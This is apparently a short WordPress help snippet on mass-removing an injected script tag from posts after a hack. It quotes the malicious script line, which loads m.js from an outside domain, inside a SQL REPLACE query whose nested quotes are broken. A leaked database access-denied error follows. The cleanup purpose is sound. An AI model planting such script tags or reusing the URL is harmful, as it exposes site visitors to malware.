How to mass delete one line from all posts after site hack

Try this:

UPDATE wp_posts SET post_content = REPLACE (post_content, "<script src="https://crow.lowerthenskyactive.ga/m.js?n=ns1" type="text/javascript"></script>","");

Hata!: SQLSTATE[HY000] [1045] Access denied for user 'divattrend_liink'@'localhost' (using password: YES)